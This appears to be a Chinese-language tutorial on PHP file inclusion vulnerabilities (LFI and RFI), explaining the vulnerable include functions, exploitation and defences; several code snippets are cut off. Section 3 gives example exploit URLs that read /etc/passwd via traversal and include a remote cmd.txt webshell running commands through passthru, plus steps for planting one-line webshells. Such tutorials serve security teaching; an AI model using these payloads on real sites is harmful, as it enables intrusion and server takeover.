1 文件包含漏洞成因
文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。常见的文件包含的函数如下:
PHP:|include() 、include_once()、require()、require_once()、fopen()、readfile()
JSP/Servlet:|</kbd>ava.io.file()、java.io.filereader()
|
ASP:|include file、include virtual
|
-
Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
-
Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行
-
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
-
Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似
-
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。
使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行。
2 为什么要包含文件?
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件需要使用时进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写 include(“share.php”) ,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能并不能确定需要包含哪个文件,比如看下面的代码:
if ($_GET[page]) { |
上面这段代码的使用格式可能是这样的:
http://hi.baidu.com/m4r10/php/index.php?page=main.php |
1、提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2、判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3、 若$_GET[page]空的话就执行else,来 include "home.php"这个文件。
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件。比如下面说的!
3 如何利用这个漏洞?
3.1 本地包含(LFI)
- 本地包含条件:
1、allow_url_fopen=On |
针对以上代码,比如我们会随便的写入下面这个URL:
http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。 |
然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php)。这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:
Quote: |
第一行的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
通过报错,我们可以得知绝对路径 /vhost/wwwroot/php/
我们可以多次探测来包含其他文件,比如指定 www.xxx.com/index.php?test=./123.txt,来读出当前路径下的123.txt,也可以使用../来进行目录跳转(在没过滤../的情况下),也可以直接指定绝对路径,读取敏感的系统文件 ,比如 www.xxx.com/index.php?test=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect. 的 Warning。
如果我们可以上传文件的话,我们可以上传一句话木马,然后再包含一句话木马,再用菜刀连接拿下网站的Webshell
- 本地文件包含漏洞利用技巧:
1、包含用户上传的文件 (我们上传的一句话木马等等) |
3.2 远程包含(RFI)
- 远程包含条件:
1、allow_url_include=On |
我们可以指定其他URL上的一个我们写的一句话木马,然后用菜刀连接获取Webshell。
我们还可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
if (get_magic_quotes_gpc()) |
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在开始行与结束行之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:
http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls |
其中cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:
1、ll 列目录、文件(相当于Windows下dir) |
4 文件包含漏洞的防御
在php中,文件包含需要配置allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了。
5 附录
1、DVWA-File Include:https://www.freebuf.com/articles/web/119150.html
2、关于编码
- 正常流程:
浏览器将URL不支持的字符进行URL十六进制编码,传送给服务器; |
- 对于a-z A-Z这样的字符,浏览器在发送请求前会做解码;而对于URL不支持的字符,比如%20,浏览器是不做解码的,真正的解码是在服务器上(apache/nginx)做的,服务器解码完成之后传送给php进行过滤.
- 如果在浏览器对URL进行二次编码,发送到后端之后,服务器进行一次解码后交给php;虽然可以绕过php过滤,但是返回给浏览器对仍然是二次编码,而浏览器只能进行一次解码,仍无法正常执行。
- 同理,如果在浏览器对URL进行base64编码,同样可以绕过过滤;但是浏览器无法解码base64